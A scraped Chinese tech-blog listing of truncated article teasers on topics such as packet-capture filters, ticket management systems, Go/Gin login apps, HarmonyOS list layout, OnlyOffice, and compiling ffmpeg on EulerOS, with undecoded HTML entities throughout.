目录 网卡选择&#xff1a; 抓包流程&#xff1a; 捕获过滤器 常用捕获过滤器&#xff1a; 抓包数据的显示 显示过滤器&#xff1a; 常用的显示过滤器&#xff1a; 实际工作中&#xff0c;在平台对接&#xff0c;设备对接等常常需要调试接口&#xff0c;PostMan虽然可以进…

工单管理系统哪个好用?2000字详细整理

工单管理系统已经成为提高客户服务效率和质量的重要工具。随着市场上可供选择的工单管理系统越来越多&#xff0c;企业在选择合适的系统时常常感到困惑。本文将详细介绍几款主流的工单管理系统&#xff0c;以帮助企业做出明智的选择。 一、工单管理系统的重要性 工单管理系统…

Vim9 语法高亮syntax 在指定的缓冲区和窗口执行命令

背景&#xff1a;从开发&#xff0c;创建makefile、编译、单元测试、到生产部署都只有俺一个人&#xff0c;所以所有的工作都要自己完成&#xff0c;因此有了想法做一个插件&#xff0c;按需实现&#xff1a;构建Makefile&#xff0c;编译、打包、压缩、上传服务器、解压、安装…

群控系统服务端开发模式-应用开发-前端个人资料开发

一、总结 其实程序开发到现在&#xff0c;简单的后端框架就只剩下获取登录账号信息及获取登录账号菜单这两个功能咯。详细见下图&#xff1a; 1、未登录时总业务流程图 2、登录后总业务流程图 二、获取登录账号信息对接 在根目录下src文件夹下store文件夹下modules文件夹下的us…

Harmony- List组件最后一个item显示不全

在使用List组件显示数据的时候会出现最后一个item显示不全的问题&#xff0c;如下 出现在高度问题上&#xff0c;如果List组件上下没有其他占位组件就是正常显示的 解决方案&#xff1a; 1.给List组件加上layoutWeight(1)&#xff0c;使它填满父控件剩余空间; 2.还有一种情况…

Go语言实现用户登录Web应用

文章目录 1. Go语言Web框架1.1 框架比较1.2 安装Gin框架 2. 实现用户登录功能2.1 创建项目目录2.2 打开项目目录2.3 创建登录Go程序2.4 创建模板页面2.4.1 登录页面2.4.2 登录成功页面2.4.3 登录失败页面 3. 测试用户登录项目3.1 运行登录主程序3.2 访问登录页面3.3 演示登录成…

25浙江省考--两大模块(数量关系+常识判断)题型积累【2024.12.8考前每日更新】

行政执法C卷&#xff0c;两大模块题量占比&#xff1a;35/115&#xff0c;每题 100 115 \frac{100}{115} 115100​分&#xff0c;时间分配&#xff1a;20~35分钟&#xff0c;留10分钟涂卡 数量关系【题量占比&#xff1a;15/115】【时间分配&#xff1a;15~30分钟】 数字推理…

【掌握未来办公:OnlyOffice 8.2深度使用指南与新功能揭秘】

&#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 ​&#x1f4ab;个人格言:“没有罗马,那就自己创造罗马~” 文章目录 一、功能亮点1. PDF文档的协同编辑2. PDF表单的电子签名3. 界面的现代化改造4. 性能的显著提升5. 文…

AI写作(四)预训练语言模型:开启 AI 写作新时代(4/10)

一、预训练语言模型概述 ​ 预训练语言模型在自然语言处理领域占据着至关重要的地位。它以其卓越的语言理解和生成能力&#xff0c;成为众多自然语言处理任务的关键工具。 预训练语言模型的发展历程丰富而曲折。从早期的神经网络语言模型开始&#xff0c;逐渐发展到如今的大规…

EulerOS 编译安装 ffmpeg

EulerOS 编译安装 ffmpeg 欧拉系统是国内自主研发的服务器操作系统&#xff0c;EulerOS基于CentOS的源码开发&#xff0c;运行环境兼容CentOS&#xff0c;国内的华为云、天翼云、移动云、联通云均采用欧拉系统。 安装工具包 经实测&#xff0c;在欧拉系统上需要通过yum安装下…

JavaWeb:文件上传1

欢迎来到“雪碧聊技术”CSDN博客&#xff01; 在这里&#xff0c;您将踏入一个专注于Java开发技术的知识殿堂。无论您是Java编程的初学者&#xff0c;还是具有一定经验的开发者&#xff0c;相信我的博客都能为您提供宝贵的学习资源和实用技巧。作为您的技术向导&#xff0c;我将…